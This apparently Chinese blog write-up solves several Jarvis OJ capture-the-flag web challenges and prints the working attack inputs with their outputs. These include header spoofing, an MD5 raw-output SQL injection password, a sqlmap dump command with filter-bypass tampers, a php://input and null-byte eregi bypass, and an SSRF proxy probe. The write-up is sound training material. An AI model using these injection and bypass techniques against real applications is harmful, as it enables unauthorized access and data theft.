jarvis OJ writeup (Web部分)

PORT51

使用curl的—local-port参数就行,但是不知道为什么我的mac和虚拟机都不行,估计是学校网最后有个nat所以端口会变,换了服务器就好了。还要注意使用1024编号以下的端口需要root权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@(none):~# curl --local-port 51  http://web.jarvisoj.com:32770
<!DOCTYPE html>
<html>
<head>
<title>Web 100</title>
<style type="text/css">
body {
background:gray;
text-align:center;
}
</style>
</head>

<body>
<h3>Yeah!! Here's your flag:PCTF{M45t3r_oF_CuRl}</h3>
</body>
</html>

LOCALHOST

加个XFF头就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
➜  ~ curl web.jarvisoj.com:32774 -H"X-ForWarded-For: 127.0.0.1"
<!DOCTYPE html>
<html>
<head>
<title>Web 150</title>
<style type="text/css">
body {
background:gray;
text-align:center;
}
</style>
</head>

<body>
<h3>Yeah!! Here's your flag:PCTF{X_F0rw4rd_F0R_is_not_s3cuRe}</h3>
</body>
</html>

LOGIN

response里发现hint

1
Hint: "select * from `admin` where password='".md5($pass,true)."'"

php官方对md5函数是这么描述的

md5 ( string $str [, bool $raw_output = FALSE ] ) : string`
Calculates the MD5 hash of str using the » RSA Data Security, Inc. MD5 Message-Digest Algorithm, and returns that hash.

str
The string.
raw_output
If the optional raw_output is set to TRUE, then the md5 digest is instead returned in raw binary format with a length of 16.

它用的是字符串的拼接,没有任何过滤,那么只要构造字符串的md5转成字符串是’ or ‘xxxxxx的值为true就行了

1
2
3
4
5
6
➜  ~ curl -X POST -d "pass=ffifdyop" http://web.jarvisoj.com:32772/ 
Correct pass!! Your Flag: PCTF{R4w_md5_is_d4ng3rous}
<form action="/" method="post">
password: <input type="text" name="pass" />
<input type="submit" value="submit" />
</form>

神盾局的秘密

抓包发现请求了一个showimg.php
神盾局的秘密
base64解一下

1
2
➜  ~ echo "c2hpZWxkLmpwZw=="|base64 -d -
shield.jpg%

直接换个index.php上去看看

Simple Injection

打开发现是个登陆界面,随便试了试admin,123456提示密码错误

Simple Injection
又试了试admin ‘ or 1 = 1 # ,123456 发现提示用户名错误

Simple Injection
那么通过这两字符串就能判断是否注入成功,判读注入的标志有了,现在该测试过滤了、最后发现过滤了and or之类的
使用sqlmap的space2comment symboliclogical这两temper绕过一下就行

1
➜  ~ sqlmap --data="username=admin&password=kslda" -u "http://web.jarvisoj.com:32787/login.php" --batch --dbms=mysql --level 3 -v 3 --string "密码错误" --tamper "space2comment,symboliclogical" --dbms=mysql -T admin -C password --dump

Simple Injection

Simple Injection

Simple Injeciton
flag:CTF{s1mpl3_1nJ3ction_very_easy!!}

IN A Mess

查看源代码发现 index.phps文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}
?>

需要过几个check

  • 使用字符串绕过id的check
  • 使用php伪协议(php://input data:// 等)绕过a的check
  • 使用eregi的%00截断特性绕过b的check
    1
    2
    ➜  ~ curl -X POST -d '1112 is a nice lab!'  'web.jarvisoj.com:32780/index.php?id=asdas&a=php://input&b=%0011111111233'
    <!--index.phps-->Come ON!!! {/^HT2mCpcvOLf}

访问http://web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id=1发现是个注入

1
2
3
4
➜  ~ curl "http://web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id=1"
hi666
➜ ~ curl "http://web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id=1'"
SELECT * FROM content WHERE id=1'

api

右键查看源代码发现

api
直接访问

1
http://web.jarvisoj.com:32782/proxy.php?url=www.baidu.com

弹出百度页面